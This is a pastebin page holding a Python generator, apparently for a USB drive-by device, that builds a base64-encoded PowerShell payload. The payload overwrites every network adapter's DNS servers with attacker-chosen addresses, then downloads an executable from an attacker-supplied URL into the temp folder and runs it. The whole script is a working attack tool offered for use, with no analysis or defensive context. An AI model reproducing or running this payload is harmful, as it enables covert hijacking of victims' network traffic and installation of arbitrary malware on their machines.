attiny

From Obese Guinea Pig, 4 Months ago, written in Python, viewed 101 times.
URL https://paste.monocul.us/view/7e80e201 Embed
Download Paste or View Raw
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. #    _        _       _    _      _   _____       _           _
  4. #   | |      (_)     | |  | |    | | |  __ \     (_)         | |
  5. #   | |_ _ __ _ _ __ | | _| | ___| |_| |  | |_ __ ___   _____| |__  _   _
  6. #   | __| '__| | '_ \| |/ / |/ _ \ __| |  | | '__| \ \ / / _ \ '_ \| | | |
  7. #   | |_| |  | | | | |   <| |  __/ |_| |__| | |  | |\ V /  __/ |_) | |_| |
  8. #    \__|_|  |_|_| |_|_|\_\_|\___|\__|_____/|_|  |_| \_/ \___|_.__/ \__, |
  9. # (c) Andrea Santaniello, and some other awesome peoples!            __/ |
  10. #                                                                   |___/
  11. import base64, re
  12. class colors:
  13.     green = '\033[32m'
  14.     blue = '\033[34m'
  15.     red = '\033[31m'
  16.     yellow = '\033[33m'
  17.     gray = '\033[37m'
  18.  
  19. def powershell_encode(data):
  20.     blank_command = ""
  21.     powershell_command = ""
  22.     n = re.compile(u'(\xef|\xbb|\xbf)')
  23.     for char in (n.sub("", data)):
  24.         blank_command += char + "\x00"
  25.     powershell_command = blank_command
  26.     powershell_command = base64.b64encode(powershell_command)
  27.     return powershell_command
  28.  
  29. def main():
  30.     payload = '$badDns = "{PDNS}", "{SDNS}"; $badpayloadAddr = "{PADDR}"; $networkAdpterset = Get-WmiObject Win32_NetworkAdapterConfiguration; $networkAdpterset | ForEach-Object {$_.SetDNSServerSearchOrder($badDns)}; (New-Object System.Net.WebClient).DownloadFile($badpayloadAddr, $env:temp + "x.exe"); (New-Object -com Shell.Application).ShellExecute($env:temp + "\" + "x.exe"); exit'
  31.     print("-----------")
  32.     primaryDns = raw_input("Primary DNS:")
  33.     secondaryDns = raw_input("Secondary DNS:")
  34.     additionalPayload = raw_input("Additional Payload URL:")
  35.     ############
  36.     payload = payload.replace("{PDNS}", primaryDns)
  37.     payload = payload.replace("{SDNS}", secondaryDns)
  38.     payload = payload.replace("{PADDR}", additionalPayload)
  39.     print("++++ Encoded Output ++++\n")
  40.     print(powershell_encode(payload))
  41.     raw_input()
  42.  
  43. main()
  44.  

Reply to "attiny"

Here you can reply to the paste above